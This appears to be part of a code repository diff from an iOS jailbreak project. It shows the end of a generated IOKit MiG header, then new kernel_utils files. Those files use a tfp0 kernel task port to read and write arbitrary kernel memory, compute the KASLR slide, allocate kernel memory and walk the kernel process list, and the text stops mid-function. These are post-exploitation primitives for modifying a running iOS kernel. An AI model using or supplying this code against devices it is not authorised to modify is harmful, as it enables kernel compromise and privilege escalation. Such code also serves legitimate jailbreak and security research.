#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
kern_return_t result;
} __Reply__io_catalog_send_data_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_catalog_terminate_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t outData;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t outDataCnt;
} __Reply__io_catalog_get_data_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
uint32_t genCount;
} __Reply__io_catalog_get_gen_count_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_catalog_module_loaded_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_catalog_reset_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_service_request_probe_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t nameCnt;
char name[128];
} __Reply__io_registry_entry_get_name_in_plane_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
boolean_t matches;
} __Reply__io_service_match_property_table_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t outputCnt;
io_user_scalar_t output[16];
} __Reply__io_async_method_scalarI_scalarO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t outputCnt;
char output[4096];
} __Reply__io_async_method_scalarI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_async_method_scalarI_structureI_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t outputCnt;
char output[4096];
} __Reply__io_async_method_structureI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t notification;
/* end of the kernel processed data */
} __Reply__io_service_add_notification_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t notification;
/* end of the kernel processed data */
} __Reply__io_service_add_interest_notification_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_service_acknowledge_notification_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t semaphore;
/* end of the kernel processed data */
} __Reply__io_connect_get_notification_semaphore_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_connect_unmap_memory_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t locationOffset; /* MiG doesn't use it */
mach_msg_type_number_t locationCnt;
char location[128];
} __Reply__io_registry_entry_get_location_in_plane_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t propertiesCnt;
} __Reply__io_registry_entry_get_property_recursively_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
uint64_t state;
uint32_t busy_state;
uint64_t accumulated_busy_time;
} __Reply__io_service_get_state_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t existing;
/* end of the kernel processed data */
NDR_record_t NDR;
kern_return_t result;
} __Reply__io_service_get_matching_services_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
kern_return_t result;
boolean_t matches;
} __Reply__io_service_match_property_table_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t notification;
/* end of the kernel processed data */
NDR_record_t NDR;
kern_return_t result;
} __Reply__io_service_add_notification_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t class_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t class_nameCnt;
char class_name[128];
} __Reply__io_object_get_superclass_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t class_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t class_nameCnt;
char class_name[128];
} __Reply__io_object_get_bundle_identifier_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t connection;
/* end of the kernel processed data */
NDR_record_t NDR;
kern_return_t result;
} __Reply__io_service_open_extended_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_vm_address_t address;
mach_vm_size_t size;
} __Reply__io_connect_map_memory_into_task_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_connect_unmap_memory_from_task_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t inband_outputCnt;
char inband_output[4096];
mach_msg_type_number_t scalar_outputCnt;
uint64_t scalar_output[16];
mach_vm_size_t ool_output_size;
} __Reply__io_connect_method_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
mach_msg_type_number_t inband_outputCnt;
char inband_output[4096];
mach_msg_type_number_t scalar_outputCnt;
uint64_t scalar_output[16];
mach_vm_size_t ool_output_size;
} __Reply__io_connect_async_method_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
uint64_t entry_id;
} __Reply__io_registry_entry_get_registry_entry_id_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t var_output;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t inband_outputCnt;
char inband_output[4096];
mach_msg_type_number_t scalar_outputCnt;
uint64_t scalar_output[16];
mach_msg_type_number_t var_outputCnt;
} __Reply__io_connect_method_var_output_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t service;
/* end of the kernel processed data */
} __Reply__io_service_get_matching_service_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t service;
/* end of the kernel processed data */
NDR_record_t NDR;
kern_return_t result;
} __Reply__io_service_get_matching_service_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
uint64_t authorization_id;
} __Reply__io_service_get_authorization_id_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__io_service_set_authorization_id_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
uint64_t version;
} __Reply__io_server_version_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t propertiesCnt;
} __Reply__io_registry_entry_get_properties_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t propertiesCnt;
} __Reply__io_registry_entry_get_property_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t service;
/* end of the kernel processed data */
} __Reply__io_service_get_matching_service_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t existing;
/* end of the kernel processed data */
} __Reply__io_service_get_matching_services_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
boolean_t matches;
} __Reply__io_service_match_property_table_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t notification;
/* end of the kernel processed data */
} __Reply__io_service_add_notification_bin_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t path_ool;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t pathOffset; /* MiG doesn't use it */
mach_msg_type_number_t pathCnt;
char path[4096];
mach_msg_type_number_t path_oolCnt;
} __Reply__io_registry_entry_get_path_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t registry_entry;
/* end of the kernel processed data */
NDR_record_t NDR;
kern_return_t result;
} __Reply__io_registry_entry_from_path_ool_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#endif /* !__Reply__iokit_subsystem__defined */
/* union of all replies */
#ifndef __ReplyUnion__iokit_subsystem__defined
#define __ReplyUnion__iokit_subsystem__defined
union __ReplyUnion__iokit_subsystem {
__Reply__io_object_get_class_t Reply_io_object_get_class;
__Reply__io_object_conforms_to_t Reply_io_object_conforms_to;
__Reply__io_iterator_next_t Reply_io_iterator_next;
__Reply__io_iterator_reset_t Reply_io_iterator_reset;
__Reply__io_service_get_matching_services_t Reply_io_service_get_matching_services;
__Reply__io_registry_entry_get_property_t Reply_io_registry_entry_get_property;
__Reply__io_registry_create_iterator_t Reply_io_registry_create_iterator;
__Reply__io_registry_iterator_enter_entry_t Reply_io_registry_iterator_enter_entry;
__Reply__io_registry_iterator_exit_entry_t Reply_io_registry_iterator_exit_entry;
__Reply__io_registry_entry_from_path_t Reply_io_registry_entry_from_path;
__Reply__io_registry_entry_get_name_t Reply_io_registry_entry_get_name;
__Reply__io_registry_entry_get_properties_t Reply_io_registry_entry_get_properties;
__Reply__io_registry_entry_get_property_bytes_t Reply_io_registry_entry_get_property_bytes;
__Reply__io_registry_entry_get_child_iterator_t Reply_io_registry_entry_get_child_iterator;
__Reply__io_registry_entry_get_parent_iterator_t Reply_io_registry_entry_get_parent_iterator;
__Reply__io_service_close_t Reply_io_service_close;
__Reply__io_connect_get_service_t Reply_io_connect_get_service;
__Reply__io_connect_set_notification_port_t Reply_io_connect_set_notification_port;
__Reply__io_connect_map_memory_t Reply_io_connect_map_memory;
__Reply__io_connect_add_client_t Reply_io_connect_add_client;
__Reply__io_connect_set_properties_t Reply_io_connect_set_properties;
__Reply__io_connect_method_scalarI_scalarO_t Reply_io_connect_method_scalarI_scalarO;
__Reply__io_connect_method_scalarI_structureO_t Reply_io_connect_method_scalarI_structureO;
__Reply__io_connect_method_scalarI_structureI_t Reply_io_connect_method_scalarI_structureI;
__Reply__io_connect_method_structureI_structureO_t Reply_io_connect_method_structureI_structureO;
__Reply__io_registry_entry_get_path_t Reply_io_registry_entry_get_path;
__Reply__io_registry_get_root_entry_t Reply_io_registry_get_root_entry;
__Reply__io_registry_entry_set_properties_t Reply_io_registry_entry_set_properties;
__Reply__io_registry_entry_in_plane_t Reply_io_registry_entry_in_plane;
__Reply__io_object_get_retain_count_t Reply_io_object_get_retain_count;
__Reply__io_service_get_busy_state_t Reply_io_service_get_busy_state;
__Reply__io_service_wait_quiet_t Reply_io_service_wait_quiet;
__Reply__io_registry_entry_create_iterator_t Reply_io_registry_entry_create_iterator;
__Reply__io_iterator_is_valid_t Reply_io_iterator_is_valid;
__Reply__io_catalog_send_data_t Reply_io_catalog_send_data;
__Reply__io_catalog_terminate_t Reply_io_catalog_terminate;
__Reply__io_catalog_get_data_t Reply_io_catalog_get_data;
__Reply__io_catalog_get_gen_count_t Reply_io_catalog_get_gen_count;
__Reply__io_catalog_module_loaded_t Reply_io_catalog_module_loaded;
__Reply__io_catalog_reset_t Reply_io_catalog_reset;
__Reply__io_service_request_probe_t Reply_io_service_request_probe;
__Reply__io_registry_entry_get_name_in_plane_t Reply_io_registry_entry_get_name_in_plane;
__Reply__io_service_match_property_table_t Reply_io_service_match_property_table;
__Reply__io_async_method_scalarI_scalarO_t Reply_io_async_method_scalarI_scalarO;
__Reply__io_async_method_scalarI_structureO_t Reply_io_async_method_scalarI_structureO;
__Reply__io_async_method_scalarI_structureI_t Reply_io_async_method_scalarI_structureI;
__Reply__io_async_method_structureI_structureO_t Reply_io_async_method_structureI_structureO;
__Reply__io_service_add_notification_t Reply_io_service_add_notification;
__Reply__io_service_add_interest_notification_t Reply_io_service_add_interest_notification;
__Reply__io_service_acknowledge_notification_t Reply_io_service_acknowledge_notification;
__Reply__io_connect_get_notification_semaphore_t Reply_io_connect_get_notification_semaphore;
__Reply__io_connect_unmap_memory_t Reply_io_connect_unmap_memory;
__Reply__io_registry_entry_get_location_in_plane_t Reply_io_registry_entry_get_location_in_plane;
__Reply__io_registry_entry_get_property_recursively_t Reply_io_registry_entry_get_property_recursively;
__Reply__io_service_get_state_t Reply_io_service_get_state;
__Reply__io_service_get_matching_services_ool_t Reply_io_service_get_matching_services_ool;
__Reply__io_service_match_property_table_ool_t Reply_io_service_match_property_table_ool;
__Reply__io_service_add_notification_ool_t Reply_io_service_add_notification_ool;
__Reply__io_object_get_superclass_t Reply_io_object_get_superclass;
__Reply__io_object_get_bundle_identifier_t Reply_io_object_get_bundle_identifier;
__Reply__io_service_open_extended_t Reply_io_service_open_extended;
__Reply__io_connect_map_memory_into_task_t Reply_io_connect_map_memory_into_task;
__Reply__io_connect_unmap_memory_from_task_t Reply_io_connect_unmap_memory_from_task;
__Reply__io_connect_method_t Reply_io_connect_method;
__Reply__io_connect_async_method_t Reply_io_connect_async_method;
__Reply__io_registry_entry_get_registry_entry_id_t Reply_io_registry_entry_get_registry_entry_id;
__Reply__io_connect_method_var_output_t Reply_io_connect_method_var_output;
__Reply__io_service_get_matching_service_t Reply_io_service_get_matching_service;
__Reply__io_service_get_matching_service_ool_t Reply_io_service_get_matching_service_ool;
__Reply__io_service_get_authorization_id_t Reply_io_service_get_authorization_id;
__Reply__io_service_set_authorization_id_t Reply_io_service_set_authorization_id;
__Reply__io_server_version_t Reply_io_server_version;
__Reply__io_registry_entry_get_properties_bin_t Reply_io_registry_entry_get_properties_bin;
__Reply__io_registry_entry_get_property_bin_t Reply_io_registry_entry_get_property_bin;
__Reply__io_service_get_matching_service_bin_t Reply_io_service_get_matching_service_bin;
__Reply__io_service_get_matching_services_bin_t Reply_io_service_get_matching_services_bin;
__Reply__io_service_match_property_table_bin_t Reply_io_service_match_property_table_bin;
__Reply__io_service_add_notification_bin_t Reply_io_service_add_notification_bin;
__Reply__io_registry_entry_get_path_ool_t Reply_io_registry_entry_get_path_ool;
__Reply__io_registry_entry_from_path_ool_t Reply_io_registry_entry_from_path_ool;
};
#endif /* !__RequestUnion__iokit_subsystem__defined */
#ifndef subsystem_to_name_map_iokit
#define subsystem_to_name_map_iokit \
{ "io_object_get_class", 2800 },\
{ "io_object_conforms_to", 2801 },\
{ "io_iterator_next", 2802 },\
{ "io_iterator_reset", 2803 },\
{ "io_service_get_matching_services", 2804 },\
{ "io_registry_entry_get_property", 2805 },\
{ "io_registry_create_iterator", 2806 },\
{ "io_registry_iterator_enter_entry", 2807 },\
{ "io_registry_iterator_exit_entry", 2808 },\
{ "io_registry_entry_from_path", 2809 },\
{ "io_registry_entry_get_name", 2810 },\
{ "io_registry_entry_get_properties", 2811 },\
{ "io_registry_entry_get_property_bytes", 2812 },\
{ "io_registry_entry_get_child_iterator", 2813 },\
{ "io_registry_entry_get_parent_iterator", 2814 },\
{ "io_service_close", 2816 },\
{ "io_connect_get_service", 2817 },\
{ "io_connect_set_notification_port", 2818 },\
{ "io_connect_map_memory", 2819 },\
{ "io_connect_add_client", 2820 },\
{ "io_connect_set_properties", 2821 },\
{ "io_connect_method_scalarI_scalarO", 2822 },\
{ "io_connect_method_scalarI_structureO", 2823 },\
{ "io_connect_method_scalarI_structureI", 2824 },\
{ "io_connect_method_structureI_structureO", 2825 },\
{ "io_registry_entry_get_path", 2826 },\
{ "io_registry_get_root_entry", 2827 },\
{ "io_registry_entry_set_properties", 2828 },\
{ "io_registry_entry_in_plane", 2829 },\
{ "io_object_get_retain_count", 2830 },\
{ "io_service_get_busy_state", 2831 },\
{ "io_service_wait_quiet", 2832 },\
{ "io_registry_entry_create_iterator", 2833 },\
{ "io_iterator_is_valid", 2834 },\
{ "io_catalog_send_data", 2836 },\
{ "io_catalog_terminate", 2837 },\
{ "io_catalog_get_data", 2838 },\
{ "io_catalog_get_gen_count", 2839 },\
{ "io_catalog_module_loaded", 2840 },\
{ "io_catalog_reset", 2841 },\
{ "io_service_request_probe", 2842 },\
{ "io_registry_entry_get_name_in_plane", 2843 },\
{ "io_service_match_property_table", 2844 },\
{ "io_async_method_scalarI_scalarO", 2845 },\
{ "io_async_method_scalarI_structureO", 2846 },\
{ "io_async_method_scalarI_structureI", 2847 },\
{ "io_async_method_structureI_structureO", 2848 },\
{ "io_service_add_notification", 2849 },\
{ "io_service_add_interest_notification", 2850 },\
{ "io_service_acknowledge_notification", 2851 },\
{ "io_connect_get_notification_semaphore", 2852 },\
{ "io_connect_unmap_memory", 2853 },\
{ "io_registry_entry_get_location_in_plane", 2854 },\
{ "io_registry_entry_get_property_recursively", 2855 },\
{ "io_service_get_state", 2856 },\
{ "io_service_get_matching_services_ool", 2857 },\
{ "io_service_match_property_table_ool", 2858 },\
{ "io_service_add_notification_ool", 2859 },\
{ "io_object_get_superclass", 2860 },\
{ "io_object_get_bundle_identifier", 2861 },\
{ "io_service_open_extended", 2862 },\
{ "io_connect_map_memory_into_task", 2863 },\
{ "io_connect_unmap_memory_from_task", 2864 },\
{ "io_connect_method", 2865 },\
{ "io_connect_async_method", 2866 },\
{ "io_registry_entry_get_registry_entry_id", 2871 },\
{ "io_connect_method_var_output", 2872 },\
{ "io_service_get_matching_service", 2873 },\
{ "io_service_get_matching_service_ool", 2874 },\
{ "io_service_get_authorization_id", 2875 },\
{ "io_service_set_authorization_id", 2876 },\
{ "io_server_version", 2877 },\
{ "io_registry_entry_get_properties_bin", 2878 },\
{ "io_registry_entry_get_property_bin", 2879 },\
{ "io_service_get_matching_service_bin", 2880 },\
{ "io_service_get_matching_services_bin", 2881 },\
{ "io_service_match_property_table_bin", 2882 },\
{ "io_service_add_notification_bin", 2883 },\
{ "io_registry_entry_get_path_ool", 2885 },\
{ "io_registry_entry_from_path_ool", 2886 }
#endif
#ifdef __AfterMigUserHeader
__AfterMigUserHeader
#endif /* __AfterMigUserHeader */
#endif /* _iokit_user_ */
#endif /* !__LP64__ */
+48
View File
@@ -0,0 +1,48 @@
#import <stdio.h>
#import <mach-o/loader.h>
#import <stdlib.h>
#import <fcntl.h>
#import <unistd.h>
#import <errno.h>
#import <mach/mach.h>
#import <sys/stat.h>
// Needed definitions
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
kern_return_t mach_vm_protect (vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection);
kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt);
kern_return_t mach_vm_region(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name);
// init function
void init_kernel_utils(mach_port_t tfp0, uint64_t kbase);
uint64_t get_kernel_slide();
// kernel memory stuff
size_t KernelRead(uint64_t where, void *p, size_t size);
uint32_t KernelRead_32bits(uint64_t where);
uint64_t KernelRead_64bits(uint64_t where);
size_t KernelWrite(uint64_t where, const void *p, size_t size);
void KernelWrite_32bits(uint64_t where, uint32_t what);
void KernelWrite_64bits(uint64_t where, uint64_t what);
void Kernel_memcpy(uint64_t dest, uint64_t src, uint32_t length);
void Kernel_free(mach_vm_address_t address, vm_size_t size);
uint64_t Kernel_alloc(vm_size_t size);
uint64_t Kernel_alloc_wired(uint64_t size);
int Kernel_strcmp(uint64_t kstr, const char* str);
// for messing with processes
uint64_t proc_of_pid(pid_t pid);
// used to fix what kexecute returns
typedef struct {
uint64_t prev;
uint64_t next;
uint64_t start;
uint64_t end;
} kmap_hdr_t;
uint64_t ZmFixAddr(uint64_t addr);
+160
View File
@@ -0,0 +1,160 @@
#import "kernel_utils.h"
#import "patchfinder64.h"
static mach_port_t tfpzero;
static uint64_t kernel_base;
static uint64_t KASLR_Slide;
#import <Foundation/Foundation.h>
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
void init_kernel_utils(mach_port_t tfp0, uint64_t kbase) {
tfpzero = tfp0;
kernel_base = kbase;
KASLR_Slide = (uint32_t)(kernel_base - 0xFFFFFFF007004000); // slid kernel base - kernel base = kaslr slide
}
uint64_t get_kernel_slide() {
return KASLR_Slide;
}
uint64_t Kernel_alloc(vm_size_t size) {
mach_vm_address_t address = 0;
mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
return address;
}
void Kernel_free(mach_vm_address_t address, vm_size_t size) {
mach_vm_deallocate(tfpzero, address, size);
}
int Kernel_strcmp(uint64_t kstr, const char* str) {
// XXX be safer, dont just assume you wont cause any
// page faults by this
size_t len = strlen(str) + 1;
char *local = malloc(len + 1);
local[len] = '\0';
int ret = 1;
if (KernelRead(kstr, local, len) == len) {
ret = strcmp(local, str);
}
free(local);
return ret;
}
size_t KernelRead(uint64_t where, void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
mach_vm_size_t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
if (rv || sz == 0) {
printf("[-] error on KernelRead(0x%016llx)\n", where);
break;
}
offset += sz;
}
return offset;
}
uint32_t KernelRead_32bits(uint64_t where) {
uint32_t out;
KernelRead(where, &out, sizeof(uint32_t));
return out;
}
uint64_t KernelRead_64bits(uint64_t where) {
uint64_t out;
KernelRead(where, &out, sizeof(uint64_t));
return out;
}
size_t KernelWrite(uint64_t where, const void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
size_t chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);
if (rv) {
printf("[-] error on KernelWrite(0x%016llx)\n", where);
break;
}
offset += chunk;
}
return offset;
}
void KernelWrite_32bits(uint64_t where, uint32_t what) {
uint32_t _what = what;
KernelWrite(where, &_what, sizeof(uint32_t));
}
void KernelWrite_64bits(uint64_t where, uint64_t what) {
uint64_t _what = what;
KernelWrite(where, &_what, sizeof(uint64_t));
}
const uint64_t kernel_address_space_base = 0xffff000000000000;
void Kernel_memcpy(uint64_t dest, uint64_t src, uint32_t length) {
if (dest >= kernel_address_space_base) {
// copy to kernel:
KernelWrite(dest, (void*) src, length);
} else {
// copy from kernel
KernelRead(src, (void*)dest, length);
}
}
uint64_t proc_of_pid(pid_t pid) {
uint64_t allproc = Find_allproc();
uint64_t proc = KernelRead_64bits(allproc), pd;
